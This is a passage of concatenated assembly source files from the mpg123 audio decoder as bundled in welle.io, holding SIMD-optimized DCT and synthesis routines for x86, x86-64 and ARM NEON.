movq %mm7,%mm5
punpckldq 24+_tfcos36_,%mm5
#if defined(PIC) && defined(__APPLE__)
mov 8(%ebp),%eax
#endif
pfmul %mm5,%mm4
movq %mm4,%mm5
pfacc %mm5,%mm5
movd 132(%edx),%mm6
punpckldq 80(%edx),%mm6
pfmul %mm6,%mm5
movd %mm5,60(%ecx)
psrlq $32,%mm5
movd %mm5,8(%ecx)
movq %mm4,%mm6
punpckldq %mm6,%mm5
pfsub %mm6,%mm5
punpckhdq %mm5,%mm5
movd 8(%edx),%mm6
punpckldq 60(%edx),%mm6
pfmul %mm6,%mm5
movd 8(%esi),%mm6
punpckldq 60(%esi),%mm6
pfadd %mm6,%mm5
movd %mm5,256(%ebx)
psrlq $32,%mm5
movd %mm5,1920(%ebx)
movq 8(%eax),%mm2
movd 28+_COS9_,%mm3
punpckldq %mm3,%mm3
pfmul %mm3,%mm2
pfsub %mm0,%mm2
movq 40(%eax),%mm3
movd 4+_COS9_,%mm4
punpckldq %mm4,%mm4
pfmul %mm4,%mm3
pfadd %mm3,%mm2
movq 56(%eax),%mm3
movd 20+_COS9_,%mm4
punpckldq %mm4,%mm4
pfmul %mm4,%mm3
pfsub %mm3,%mm2
movq (%eax),%mm3
movq 16(%eax),%mm4
movd 16+_COS9_,%mm5
punpckldq %mm5,%mm5
pfmul %mm5,%mm4
pfsub %mm4,%mm3
movq 32(%eax),%mm4
movd 32+_COS9_,%mm5
punpckldq %mm5,%mm5
pfmul %mm5,%mm4
pfadd %mm4,%mm3
pfadd %mm1,%mm3
movq 64(%eax),%mm4
movd 8+_COS9_,%mm5
punpckldq %mm5,%mm5
pfmul %mm5,%mm4
pfsub %mm4,%mm3
movq %mm2,%mm4
pfadd %mm3,%mm4
movq %mm7,%mm5
#if defined(PIC) && defined(__APPLE__)
mov -4(%ebp),%eax
#endif
punpckldq 12+_tfcos36_,%mm5
pfmul %mm5,%mm4
movq %mm4,%mm5
pfacc %mm5,%mm5
movd 120(%edx),%mm6
punpckldq 92(%edx),%mm6
pfmul %mm6,%mm5
movd %mm5,48(%ecx)
psrlq $32,%mm5
movd %mm5,20(%ecx)
movq %mm4,%mm6
punpckldq %mm6,%mm5
pfsub %mm6,%mm5
punpckhdq %mm5,%mm5
movd 20(%edx),%mm6
punpckldq 48(%edx),%mm6
pfmul %mm6,%mm5
movd 20(%esi),%mm6
punpckldq 48(%esi),%mm6
pfadd %mm6,%mm5
movd %mm5,640(%ebx)
psrlq $32,%mm5
movd %mm5,1536(%ebx)
movq %mm3,%mm4
pfsub %mm2,%mm4
movq %mm7,%mm5
punpckldq 20+_tfcos36_,%mm5
#if defined(PIC) && defined(__APPLE__)
mov 8(%ebp),%eax
#endif
pfmul %mm5,%mm4
movq %mm4,%mm5
pfacc %mm5,%mm5
movd 128(%edx),%mm6
punpckldq 84(%edx),%mm6
pfmul %mm6,%mm5
movd %mm5,56(%ecx)
psrlq $32,%mm5
movd %mm5,12(%ecx)
movq %mm4,%mm6
punpckldq %mm6,%mm5
pfsub %mm6,%mm5
punpckhdq %mm5,%mm5
movd 12(%edx),%mm6
punpckldq 56(%edx),%mm6
pfmul %mm6,%mm5
movd 12(%esi),%mm6
punpckldq 56(%esi),%mm6
pfadd %mm6,%mm5
movd %mm5,384(%ebx)
psrlq $32,%mm5
movd %mm5,1792(%ebx)
movq (%eax),%mm4
movq 16(%eax),%mm3
pfsub %mm3,%mm4
movq 32(%eax),%mm3
pfadd %mm3,%mm4
movq 48(%eax),%mm3
pfsub %mm3,%mm4
movq 64(%eax),%mm3
pfadd %mm3,%mm4
movq %mm7,%mm5
#if defined(PIC) && defined(__APPLE__)
mov -4(%ebp),%eax
#endif
punpckldq 16+_tfcos36_,%mm5
pfmul %mm5,%mm4
movq %mm4,%mm5
pfacc %mm5,%mm5
movd 124(%edx),%mm6
punpckldq 88(%edx),%mm6
pfmul %mm6,%mm5
movd %mm5,52(%ecx)
psrlq $32,%mm5
movd %mm5,16(%ecx)
movq %mm4,%mm6
punpckldq %mm6,%mm5
pfsub %mm6,%mm5
punpckhdq %mm5,%mm5
movd 16(%edx),%mm6
punpckldq 52(%edx),%mm6
pfmul %mm6,%mm5
movd 16(%esi),%mm6
punpckldq 52(%esi),%mm6
pfadd %mm6,%mm5
movd %mm5,512(%ebx)
psrlq $32,%mm5
movd %mm5,1664(%ebx)
femms
RESTORE_GOT
popl %ebx
popl %esi
movl %ebp,%esp
popl %ebp
ret
#if defined(PIC) && defined(__APPLE__)
.section __IMPORT,__pointers,non_lazy_symbol_pointers
L_tfcos36:
.indirect_symbol ASM_NAME(tfcos36)
.long 0
L_COS9:
.indirect_symbol ASM_NAME(COS9)
.long 0
#endif
NONEXEC_STACK
|
AlbrechtL/welle.io | 9,909 | src/libs/mpg123/dct64_sse.S | /*
dct64_sse: MMX/SSE optimized dct64
copyright 1995-2009 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Taihei Monma
*/
#include "mangle.h"
#define ARG(n) (8+n*4)(%ebp)
#define TEMP(n) (4+n*16)(%esp)
#define TEMP_BYTE(n) (4+n)(%esp)
/*
void dct64_sse(short *out0, short *out1, real *samples);
*/
#ifndef __APPLE__
.section .rodata
#else
.data
#endif
ALIGN16
pnpn:
.long 0
.long -2147483648
.long 0
.long -2147483648
ALIGN16
mask:
.long -1
.long -1
.long -1
.long 0
.text
ALIGN16
.globl ASM_NAME(dct64_sse)
ASM_NAME(dct64_sse):
pushl %ebp
movl %esp, %ebp
andl $-16, %esp /* align the stack at 16 bytes */
subl $128, %esp /* reserve space for temporal store */
pushl %ebx
GET_GOT
movl ARG(2), %eax
MOVUAPS (%eax), %xmm7
MOVUAPS 16(%eax), %xmm6
MOVUAPS 112(%eax), %xmm0
MOVUAPS 96(%eax), %xmm1
shufps $0x1b, %xmm0, %xmm0
shufps $0x1b, %xmm1, %xmm1
movaps %xmm7, %xmm4
movaps %xmm6, %xmm5
addps %xmm0, %xmm4
addps %xmm1, %xmm5
subps %xmm0, %xmm7
subps %xmm1, %xmm6
movaps %xmm4, TEMP(0)
movaps %xmm5, TEMP(1)
MOVUAPS 32(%eax), %xmm2
MOVUAPS 48(%eax), %xmm3
MOVUAPS 80(%eax), %xmm0
MOVUAPS 64(%eax), %xmm1
shufps $0x1b, %xmm0, %xmm0
shufps $0x1b, %xmm1, %xmm1
movaps %xmm2, %xmm5
movaps %xmm3, %xmm4
addps %xmm0, %xmm2
addps %xmm1, %xmm3
subps %xmm0, %xmm5
subps %xmm1, %xmm4
#if defined(PIC) && defined(__APPLE__)
mov GLOBAL_VAR_PTR(costab_mmxsse), %ecx
#else
lea GLOBAL_VAR(costab_mmxsse), %ecx
#endif
mulps (%ecx), %xmm7
mulps 16(%ecx), %xmm6
mulps 32(%ecx), %xmm5
mulps 48(%ecx), %xmm4
shufps $0x1b, %xmm2, %xmm2
shufps $0x1b, %xmm3, %xmm3
shufps $0x1b, %xmm4, %xmm4
shufps $0x1b, %xmm5, %xmm5
movaps TEMP(0), %xmm0
movaps TEMP(1), %xmm1
subps %xmm3, %xmm0
subps %xmm2, %xmm1
addps TEMP(0), %xmm3
addps TEMP(1), %xmm2
movaps %xmm3, TEMP(0)
movaps %xmm2, TEMP(1)
movaps %xmm6, %xmm2
movaps %xmm7, %xmm3
subps %xmm5, %xmm6
subps %xmm4, %xmm7
addps %xmm3, %xmm4
addps %xmm2, %xmm5
mulps 64(%ecx), %xmm0
mulps 80(%ecx), %xmm1
mulps 80(%ecx), %xmm6
mulps 64(%ecx), %xmm7
movaps TEMP(0), %xmm2
movaps TEMP(1), %xmm3
shufps $0x1b, %xmm3, %xmm3
shufps $0x1b, %xmm5, %xmm5
shufps $0x1b, %xmm1, %xmm1
shufps $0x1b, %xmm6, %xmm6
movaps %xmm0, TEMP(1)
subps %xmm3, %xmm2
subps %xmm1, %xmm0
addps TEMP(0), %xmm3
addps TEMP(1), %xmm1
movaps %xmm3, TEMP(0)
movaps %xmm1, TEMP(2)
movaps %xmm5, %xmm1
movaps %xmm4, %xmm5
movaps %xmm7, %xmm3
subps %xmm1, %xmm5
subps %xmm6, %xmm7
addps %xmm1, %xmm4
addps %xmm3, %xmm6
mulps 96(%ecx), %xmm2
mulps 96(%ecx), %xmm0
mulps 96(%ecx), %xmm5
mulps 96(%ecx), %xmm7
movaps %xmm2, TEMP(1)
movaps %xmm0, TEMP(3)
movaps %xmm4, %xmm2
movaps %xmm5, %xmm3
shufps $0x44, %xmm6, %xmm2
shufps $0xbb, %xmm7, %xmm5
shufps $0xbb, %xmm6, %xmm4
shufps $0x44, %xmm7, %xmm3
movaps %xmm2, %xmm6
movaps %xmm3, %xmm7
subps %xmm4, %xmm2
subps %xmm5, %xmm3
addps %xmm6, %xmm4
addps %xmm7, %xmm5
movaps 112(%ecx), %xmm0
movlhps %xmm0, %xmm0
mulps %xmm0, %xmm2
mulps %xmm0, %xmm3
movaps %xmm0, TEMP(4)
movaps %xmm4, %xmm6
movaps %xmm5, %xmm7
shufps $0x14, %xmm2, %xmm4
shufps $0xbe, %xmm2, %xmm6
shufps $0x14, %xmm3, %xmm5
shufps $0xbe, %xmm3, %xmm7
movaps %xmm5, TEMP(5)
movaps %xmm7, TEMP(7)
movaps TEMP(0), %xmm0
movaps TEMP(1), %xmm1
movaps %xmm0, %xmm2
movaps %xmm1, %xmm3
shufps $0x44, TEMP(2), %xmm2
shufps $0xbb, TEMP(3), %xmm1
shufps $0xbb, TEMP(2), %xmm0
shufps $0x44, TEMP(3), %xmm3
movaps %xmm2, %xmm5
movaps %xmm3, %xmm7
subps %xmm0, %xmm2
subps %xmm1, %xmm3
addps %xmm5, %xmm0
addps %xmm7, %xmm1
mulps TEMP(4), %xmm2
mulps TEMP(4), %xmm3
movaps %xmm0, %xmm5
movaps %xmm1, %xmm7
shufps $0x14, %xmm2, %xmm0
shufps $0xbe, %xmm2, %xmm5
shufps $0x14, %xmm3, %xmm1
shufps $0xbe, %xmm3, %xmm7
movaps %xmm0, TEMP(0)
movaps %xmm1, TEMP(1)
movaps %xmm5, TEMP(2)
movaps %xmm7, TEMP(3)
movss 120(%ecx), %xmm5
shufps $0x00, %xmm5, %xmm5
xorps LOCAL_VAR(pnpn), %xmm5
movaps %xmm4, %xmm0
movaps %xmm6, %xmm1
unpcklps TEMP(5), %xmm4
unpckhps TEMP(5), %xmm0
unpcklps TEMP(7), %xmm6
unpckhps TEMP(7), %xmm1
movaps %xmm4, %xmm2
movaps %xmm6, %xmm3
unpcklps %xmm0, %xmm4
unpckhps %xmm0, %xmm2
unpcklps %xmm1, %xmm6
unpckhps %xmm1, %xmm3
movaps %xmm4, %xmm0
movaps %xmm6, %xmm1
subps %xmm2, %xmm0
subps %xmm3, %xmm1
addps %xmm2, %xmm4
addps %xmm3, %xmm6
mulps %xmm5, %xmm0
mulps %xmm5, %xmm1
movaps %xmm5, TEMP(5)
movaps %xmm4, %xmm5
movaps %xmm6, %xmm7
unpcklps %xmm0, %xmm4
unpckhps %xmm0, %xmm5
unpcklps %xmm1, %xmm6
unpckhps %xmm1, %xmm7
movaps TEMP(0), %xmm0
movaps TEMP(2), %xmm2
movaps %xmm4, TEMP(4)
movaps %xmm6, TEMP(6)
movaps %xmm0, %xmm4
movaps %xmm2, %xmm6
unpcklps TEMP(1), %xmm0
unpckhps TEMP(1), %xmm4
unpcklps TEMP(3), %xmm2
unpckhps TEMP(3), %xmm6
movaps %xmm0, %xmm1
movaps %xmm2, %xmm3
unpcklps %xmm4, %xmm0
unpckhps %xmm4, %xmm1
unpcklps %xmm6, %xmm2
unpckhps %xmm6, %xmm3
movaps %xmm0, %xmm4
movaps %xmm2, %xmm6
subps %xmm1, %xmm4
subps %xmm3, %xmm6
addps %xmm1, %xmm0
addps %xmm3, %xmm2
mulps TEMP(5), %xmm4
mulps TEMP(5), %xmm6
movaps %xmm0, %xmm1
movaps %xmm2, %xmm3
unpcklps %xmm4, %xmm0
unpckhps %xmm4, %xmm1
unpcklps %xmm6, %xmm2
unpckhps %xmm6, %xmm3
movaps %xmm0, TEMP(0)
movaps %xmm1, TEMP(1)
movaps %xmm2, TEMP(2)
movaps %xmm3, TEMP(3)
movaps %xmm5, TEMP(5)
movaps %xmm7, TEMP(7)
movss TEMP_BYTE(12), %xmm0
movss TEMP_BYTE(28), %xmm1
movss TEMP_BYTE(44), %xmm2
movss TEMP_BYTE(60), %xmm3
addss TEMP_BYTE(8), %xmm0
addss TEMP_BYTE(24), %xmm1
addss TEMP_BYTE(40), %xmm2
addss TEMP_BYTE(56), %xmm3
movss %xmm0, TEMP_BYTE(8)
movss %xmm1, TEMP_BYTE(24)
movss %xmm2, TEMP_BYTE(40)
movss %xmm3, TEMP_BYTE(56)
movss TEMP_BYTE(76), %xmm0
movss TEMP_BYTE(92), %xmm1
movss TEMP_BYTE(108), %xmm2
movss TEMP_BYTE(124), %xmm3
addss TEMP_BYTE(72), %xmm0
addss TEMP_BYTE(88), %xmm1
addss TEMP_BYTE(104), %xmm2
addss TEMP_BYTE(120), %xmm3
movss %xmm0, TEMP_BYTE(72)
movss %xmm1, TEMP_BYTE(88)
movss %xmm2, TEMP_BYTE(104)
movss %xmm3, TEMP_BYTE(120)
movaps TEMP_BYTE(16), %xmm1
movaps TEMP_BYTE(48), %xmm3
movaps TEMP_BYTE(80), %xmm5
movaps TEMP_BYTE(112), %xmm7
movaps %xmm1, %xmm0
movaps %xmm3, %xmm2
movaps %xmm5, %xmm4
movaps %xmm7, %xmm6
shufps $0x1e, %xmm0, %xmm0
shufps $0x1e, %xmm2, %xmm2
shufps $0x1e, %xmm4, %xmm4
shufps $0x1e, %xmm6, %xmm6
leal LOCAL_VAR(mask), %ecx
andps (%ecx), %xmm0
andps (%ecx), %xmm2
andps (%ecx), %xmm4
andps (%ecx), %xmm6
addps %xmm0, %xmm1
addps %xmm2, %xmm3
addps %xmm4, %xmm5
addps %xmm6, %xmm7
movaps TEMP_BYTE(32), %xmm2
movaps TEMP_BYTE(96), %xmm6
movaps %xmm2, %xmm0
movaps %xmm6, %xmm4
shufps $0x1e, %xmm0, %xmm0
shufps $0x1e, %xmm4, %xmm4
andps (%ecx), %xmm0
andps (%ecx), %xmm4
addps %xmm3, %xmm2
addps %xmm0, %xmm3
addps %xmm7, %xmm6
addps %xmm4, %xmm7
movaps TEMP_BYTE(0), %xmm0
movaps TEMP_BYTE(64), %xmm4
cvtps2pi %xmm0, %mm0
cvtps2pi %xmm1, %mm1
movhlps %xmm0, %xmm0
movhlps %xmm1, %xmm1
cvtps2pi %xmm0, %mm2
cvtps2pi %xmm1, %mm3
packssdw %mm2, %mm0
packssdw %mm3, %mm1
cvtps2pi %xmm2, %mm2
cvtps2pi %xmm3, %mm3
movhlps %xmm2, %xmm2
movhlps %xmm3, %xmm3
cvtps2pi %xmm2, %mm4
cvtps2pi %xmm3, %mm5
packssdw %mm4, %mm2
packssdw %mm5, %mm3
mov %ecx, TEMP_BYTE(0)
movl ARG(0), %ecx
movl ARG(1), %ebx
movd %mm0, %eax
movd %mm1, %edx
movw %ax, 512(%ecx)
movw %dx, 384(%ecx)
shrl $16, %eax
shrl $16, %edx
movw %ax, (%ecx)
movw %ax, (%ebx)
movw %dx, 128(%ebx)
movd %mm2, %eax
movd %mm3, %edx
movw %ax, 448(%ecx)
movw %dx, 320(%ecx)
shrl $16, %eax
shrl $16, %edx
movw %ax, 64(%ebx)
movw %dx, 192(%ebx)
psrlq $32, %mm0
psrlq $32, %mm1
movd %mm0, %eax
movd %mm1, %edx
movw %ax, 256(%ecx)
movw %dx, 128(%ecx)
shrl $16, %eax
shrl $16, %edx
movw %ax, 256(%ebx)
movw %dx, 384(%ebx)
psrlq $32, %mm2
psrlq $32, %mm3
movd %mm2, %eax
movd %mm3, %edx
movw %ax, 192(%ecx)
movw %dx, 64(%ecx)
shrl $16, %eax
shrl $16, %edx
movw %ax, 320(%ebx)
movw %dx, 448(%ebx)
mov TEMP_BYTE(0), %eax
movaps %xmm4, %xmm0
shufps $0x1e, %xmm0, %xmm0
movaps %xmm5, %xmm1
andps (%eax), %xmm0
addps %xmm6, %xmm4
addps %xmm7, %xmm5
addps %xmm1, %xmm6
addps %xmm0, %xmm7
cvtps2pi %xmm4, %mm0
cvtps2pi %xmm5, %mm1
movhlps %xmm4, %xmm4
movhlps %xmm5, %xmm5
cvtps2pi %xmm4, %mm2
cvtps2pi %xmm5, %mm3
packssdw %mm2, %mm0
packssdw %mm3, %mm1
cvtps2pi %xmm6, %mm2
cvtps2pi %xmm7, %mm3
movhlps %xmm6, %xmm6
movhlps %xmm7, %xmm7
cvtps2pi %xmm6, %mm4
cvtps2pi %xmm7, %mm5
packssdw %mm4, %mm2
packssdw %mm5, %mm3
movd %mm0, %eax
movd %mm2, %edx
movw %ax, 480(%ecx)
movw %dx, 416(%ecx)
shrl $16, %eax
shrl $16, %edx
movw %ax, 32(%ebx)
movw %dx, 96(%ebx)
psrlq $32, %mm0
psrlq $32, %mm2
movd %mm0, %eax
movd %mm2, %edx
movw %ax, 224(%ecx)
movw %dx, 160(%ecx)
shrl $16, %eax
shrl $16, %edx
movw %ax, 288(%ebx)
movw %dx, 352(%ebx)
movd %mm1, %eax
movd %mm3, %edx
movw %ax, 352(%ecx)
movw %dx, 288(%ecx)
shrl $16, %eax
shrl $16, %edx
movw %ax, 160(%ebx)
movw %dx, 224(%ebx)
psrlq $32, %mm1
psrlq $32, %mm3
movd %mm1, %eax
movd %mm3, %edx
movw %ax, 96(%ecx)
movw %dx, 32(%ecx)
shrl $16, %eax
shrl $16, %edx
movw %ax, 416(%ebx)
movw %dx, 480(%ebx)
popl %ebx
movl %ebp, %esp
popl %ebp
ret
#if defined(PIC) && defined(__APPLE__)
.section __IMPORT,__pointers,non_lazy_symbol_pointers
L_costab_mmxsse:
.indirect_symbol ASM_NAME(costab_mmxsse)
.long 0
#endif
NONEXEC_STACK
|
AlbrechtL/welle.io | 8,042 | src/libs/mpg123/dct36_x86_64.S | /*
dct36_x86_64: SSE optimized dct36 for x86-64
copyright 1995-2013 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Taihei Monma
*/
#include "mangle.h"
#ifdef IS_MSABI
#define in %rcx
#define out1 %rdx
#define out2 %r8
#define w %r9
#define ts %r10
#define COS9_ %rax
#define tfcos36_ %r11
#else
#define in %rdi
#define out1 %rsi
#define out2 %rdx
#define w %rcx
#define ts %r8
#define COS9_ %rax
#define tfcos36_ %r9
#endif
/*
void dct36_x86_64(real *inbuf,real *o1,real *o2,real *wintab,real *tsbuf);
*/
#ifndef __APPLE__
.section .rodata
#else
.data
#endif
ALIGN16
dct36_x86_64_COS9:
.long 0x3f5db3d7
.long 0x3f5db3d7
.long 0x3f000000
.long 0x3f000000
.long 0x3f7c1c5c
.long 0x3f7c1c5c
.long 0x3f708fb2
.long 0x3f708fb2
.long 0x3f248dbb
.long 0x3f248dbb
.long 0x3e31d0d4
.long 0x3e31d0d4
.long 0x3eaf1d44
.long 0x3eaf1d44
.long 0x3f441b7d
.long 0x3f441b7d
ALIGN16
dct36_x86_64_tfcos36:
.long 0x3f007d2b
.long 0x3f0483ee
.long 0x3f0d3b7d
.long 0x3f1c4257
.long 0x40b79454
.long 0x3ff746ea
.long 0x3f976fd9
.long 0x3f5f2944
.long 0x3f3504f3
ALIGN16
dct36_x86_64_mask:
.long 0,0xffffffff,0,0xffffffff
ALIGN16
dct36_x86_64_sign:
.long 0x80000000,0x80000000,0x80000000,0x80000000
.text
ALIGN16
.globl ASM_NAME(dct36_x86_64)
ASM_NAME(dct36_x86_64):
#ifdef IS_MSABI
push %rbp
mov %rsp, %rbp
sub $160, %rsp
movaps %xmm6, (%rsp)
movaps %xmm7, 16(%rsp)
movaps %xmm8, 32(%rsp)
movaps %xmm9, 48(%rsp)
movaps %xmm10, 64(%rsp)
movaps %xmm11, 80(%rsp)
movaps %xmm12, 96(%rsp)
movaps %xmm13, 112(%rsp)
movaps %xmm14, 128(%rsp)
movaps %xmm15, 144(%rsp)
movq 48(%rbp), ts
#endif
lea dct36_x86_64_COS9(%rip), COS9_
lea dct36_x86_64_tfcos36(%rip), tfcos36_
xorps %xmm5, %xmm5
movups (in), %xmm1
movups 16(in), %xmm2
movups 32(in), %xmm3
movups 48(in), %xmm4
movlps 64(in), %xmm5
xorps %xmm6, %xmm6
movaps %xmm1, %xmm7
shufps $0x93, %xmm7, %xmm7
movaps %xmm2, %xmm8
shufps $0x93, %xmm8, %xmm8
movaps %xmm3, %xmm9
shufps $0x93, %xmm9, %xmm9
movaps %xmm4, %xmm10
shufps $0x93, %xmm10, %xmm10
movaps %xmm5, %xmm11
shufps $0xe1, %xmm11, %xmm11
movss %xmm10, %xmm11
addps %xmm11, %xmm5
movss %xmm9, %xmm10
addps %xmm10, %xmm4
movss %xmm8, %xmm9
addps %xmm9, %xmm3
movss %xmm7, %xmm8
addps %xmm8, %xmm2
movss %xmm6, %xmm7
addps %xmm7, %xmm1
movaps dct36_x86_64_mask(%rip), %xmm0
movaps %xmm4, %xmm6
shufps $0x4e, %xmm5, %xmm4
movaps %xmm3, %xmm7
shufps $0x4e, %xmm6, %xmm3
andps %xmm0, %xmm6
addps %xmm6, %xmm4
movaps %xmm2, %xmm6
shufps $0x4e, %xmm7, %xmm2
andps %xmm0, %xmm7
addps %xmm7, %xmm3
movaps %xmm1, %xmm7
shufps $0x4e, %xmm6, %xmm1
andps %xmm0, %xmm6
addps %xmm6, %xmm2
movaps %xmm7, %xmm6
andps %xmm0, %xmm7
xorps %xmm0, %xmm0
addps %xmm7, %xmm1
movlhps %xmm6, %xmm0
/*
xmm0 in[-,-,0,1]
xmm1 in[2,3,4,5]
xmm2 in[6,7,8,9]
xmm3 in[10,11,12,13]
xmm4 in[14,15,16,17]
*/
movaps %xmm2, %xmm5
shufps $0xe4, %xmm3, %xmm5
shufps $0xe4, %xmm4, %xmm3
shufps $0xe4, %xmm2, %xmm4
movaps %xmm5, %xmm2
/*
xmm2 in[6,7,12,13]
xmm3 in[10,11,16,17]
xmm4 in[14,15,8,9]
*/
movaps (COS9_), %xmm15
movaps 16(COS9_), %xmm6
movaps 32(COS9_), %xmm7
movaps 48(COS9_), %xmm8
mulps %xmm15, %xmm5
addps %xmm0, %xmm5
/*
xmm5 [ta33,tb33,ta66,tb66]
xmm6 COS9_[1,1,2,2]
xmm7 COS9_[5,5,8,8]
xmm8 COS9_[7,7,4,4]
xmm15 COS9_[3,3,6,6]
*/
movaps %xmm6, %xmm9
movaps %xmm7, %xmm12
movaps %xmm8, %xmm13
mulps %xmm1, %xmm9
mulps %xmm3, %xmm12
mulps %xmm4, %xmm13
addps %xmm5, %xmm9
addps %xmm13, %xmm12
addps %xmm9, %xmm12
movaps %xmm1, %xmm13
subps %xmm3, %xmm13
movaps %xmm0, %xmm10
shufps $0xe0, %xmm2, %xmm10
movaps %xmm0, %xmm14
subps %xmm10, %xmm14
subps %xmm4, %xmm13
mulps %xmm15, %xmm13
addps %xmm14, %xmm13
movaps %xmm7, %xmm9
movaps %xmm8, %xmm15
movaps %xmm6, %xmm14
mulps %xmm1, %xmm9
mulps %xmm3, %xmm15
mulps %xmm4, %xmm14
subps %xmm5, %xmm9
subps %xmm15, %xmm14
addps %xmm9, %xmm14
mulps %xmm1, %xmm8
mulps %xmm3, %xmm6
mulps %xmm4, %xmm7
subps %xmm5, %xmm8
subps %xmm7, %xmm6
addps %xmm6, %xmm8
movaps %xmm8, %xmm15
movss 32(tfcos36_), %xmm5
subps %xmm1, %xmm0
subps %xmm2, %xmm4
addps %xmm3, %xmm0
addps %xmm4, %xmm0
shufps $0xaf, %xmm0, %xmm0
mulss %xmm5, %xmm0
movaps %xmm0, %xmm11
/*
xmm12 [1a-0,1b-0, 2a-0, 2b-0]
xmm13 [1a-1,1b-1, 2a-1, 2b-1]
xmm14 [1a-2,1b-2,-2a-2,-2b-2]
xmm15 [1a-3,1b-3,-2a-3,-2b-3]
*/
movaps %xmm12, %xmm5
unpckhps %xmm13, %xmm5
unpcklps %xmm13, %xmm12
movaps %xmm14, %xmm6
unpckhps %xmm15, %xmm6
unpcklps %xmm15, %xmm14
xorps dct36_x86_64_sign(%rip), %xmm6
/*
xmm12 [1a-0,1a-1,1b-0,1b-1]
xmm5 [2a-0,2a-1,2b-0,2b-1]
xmm14 [1a-2,1a-3,1b-2,1b-3]
xmm6 [2a-2,2a-3,2b-2,2b-3]
*/
movaps %xmm12, %xmm0
movlhps %xmm14, %xmm12
movhlps %xmm0, %xmm14
movaps %xmm5, %xmm0
movlhps %xmm6, %xmm0
movhlps %xmm5, %xmm6
movaps %xmm6, %xmm15
/*
xmm12 tmp1a
xmm0 tmp2a
xmm14 tmp1b
xmm15 tmp2b
*/
movaps (tfcos36_), %xmm6
movaps 16(tfcos36_), %xmm7
movaps %xmm15, %xmm10
addps %xmm14, %xmm15
subps %xmm14, %xmm10
movaps %xmm0, %xmm14
addps %xmm12, %xmm0
subps %xmm12, %xmm14
mulps %xmm6, %xmm15
mulps %xmm10, %xmm7
/*
%xmm0 tmp[0,1,2,3]
%xmm15 tmp[17,16,15,14]
%xmm14 tmp[8,7,6,5]
%xmm7 tmp[9,10,11,12]
%xmm11 tmp[13,-,4,-]
*/
movaps %xmm15, %xmm1
movups 108(w), %xmm2
movups 92(w), %xmm3
shufps $0x1b, %xmm3, %xmm3
movups 36(w), %xmm4
movups 20(w), %xmm5
shufps $0x1b, %xmm5, %xmm5
movaps %xmm0, %xmm6
addps %xmm1, %xmm0
subps %xmm1, %xmm6
mulps %xmm0, %xmm2
mulps %xmm3, %xmm0
mulps %xmm6, %xmm4
mulps %xmm5, %xmm6
movups 36(out1), %xmm1
movups 20(out1), %xmm3
shufps $0x1b, %xmm6, %xmm6
addps %xmm4, %xmm1
addps %xmm6, %xmm3
shufps $0x1b, %xmm0, %xmm0
movups %xmm2, 36(out2)
movups %xmm0, 20(out2)
movss %xmm1, 32*36(ts)
movss %xmm3, 32*20(ts)
movhlps %xmm1, %xmm2
movhlps %xmm3, %xmm4
movss %xmm2, 32*44(ts)
movss %xmm4, 32*28(ts)
shufps $0xb1, %xmm1, %xmm1
shufps $0xb1, %xmm3, %xmm3
movss %xmm1, 32*40(ts)
movss %xmm3, 32*24(ts)
movhlps %xmm1, %xmm2
movhlps %xmm3, %xmm4
movss %xmm2, 32*48(ts)
movss %xmm4, 32*32(ts)
movhlps %xmm11, %xmm0
movaps %xmm11, %xmm1
movss 124(w), %xmm2
movss 88(w), %xmm3
movss 52(w), %xmm4
movss 16(w), %xmm5
movss %xmm0, %xmm6
addss %xmm1, %xmm0
subss %xmm1, %xmm6
mulss %xmm0, %xmm2
mulss %xmm3, %xmm0
mulss %xmm6, %xmm4
mulss %xmm5, %xmm6
addss 52(out1), %xmm4
addss 16(out1), %xmm6
movss %xmm2, 52(out2)
movss %xmm0, 16(out2)
movss %xmm4, 32*52(ts)
movss %xmm6, 32*16(ts)
movaps %xmm14, %xmm0
movaps %xmm7, %xmm1
MOVUAPS 128(w), %xmm2
movups 72(w), %xmm3
shufps $0x1b, %xmm2, %xmm2
movlps 56(w), %xmm4
movhps 64(w), %xmm4
MOVUAPS (w), %xmm5
shufps $0x1b, %xmm4, %xmm4
movaps %xmm0, %xmm6
addps %xmm1, %xmm0
subps %xmm1, %xmm6
mulps %xmm0, %xmm2
mulps %xmm3, %xmm0
mulps %xmm6, %xmm4
mulps %xmm5, %xmm6
movlps 56(out1), %xmm1
movhps 64(out1), %xmm1
movups (out1), %xmm3
shufps $0x1b, %xmm4, %xmm4
addps %xmm6, %xmm3
addps %xmm4, %xmm1
shufps $0x1b, %xmm2, %xmm2
movups %xmm0, (out2)
movlps %xmm2, 56(out2)
movhps %xmm2, 64(out2)
movss %xmm1, 32*56(ts)
movss %xmm3, (ts)
movhlps %xmm1, %xmm2
movhlps %xmm3, %xmm4
movss %xmm2, 32*64(ts)
movss %xmm4, 32*8(ts)
shufps $0xb1, %xmm1, %xmm1
shufps $0xb1, %xmm3, %xmm3
movss %xmm1, 32*60(ts)
movss %xmm3, 32*4(ts)
movhlps %xmm1, %xmm2
movhlps %xmm3, %xmm4
movss %xmm2, 32*68(ts)
movss %xmm4, 32*12(ts)
#ifdef IS_MSABI
movaps (%rsp), %xmm6
movaps 16(%rsp), %xmm7
movaps 32(%rsp), %xmm8
movaps 48(%rsp), %xmm9
movaps 64(%rsp), %xmm10
movaps 80(%rsp), %xmm11
movaps 96(%rsp), %xmm12
movaps 112(%rsp), %xmm13
movaps 128(%rsp), %xmm14
movaps 144(%rsp), %xmm15
mov %rbp, %rsp
pop %rbp
#endif
ret
NONEXEC_STACK
|
AlbrechtL/welle.io | 6,168 | src/libs/mpg123/synth_stereo_neon_s32.S | /*
synth_stereo_neon_s32: ARM NEON optimized synth (stereo specific, 32-bit output version)
copyright 1995-2010 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Taihei Monma
*/
#include "mangle.h"
#define WINDOW r0
#define B0L r1
#define B0R r2
#define SAMPLES r3
/*
int synth_1to1_s32_s_neon_asm(real *window, real *b0l, real *b0r, real *samples, int bo1);
return value: number of clipped samples
*/
#ifndef _M_ARM
.code 32
#endif
#ifndef __APPLE__
.fpu neon
#endif
.text
GLOBAL_SYMBOL ASM_NAME(synth_1to1_s32_s_neon_asm)
#ifdef __ELF__
.type ASM_NAME(synth_1to1_s32_s_neon_asm), %function
#endif
ALIGN4
ASM_NAME(synth_1to1_s32_s_neon_asm):
push {r4-r7, lr}
vpush {q4-q7}
ldr r4, [sp, #84]
mov r7, sp
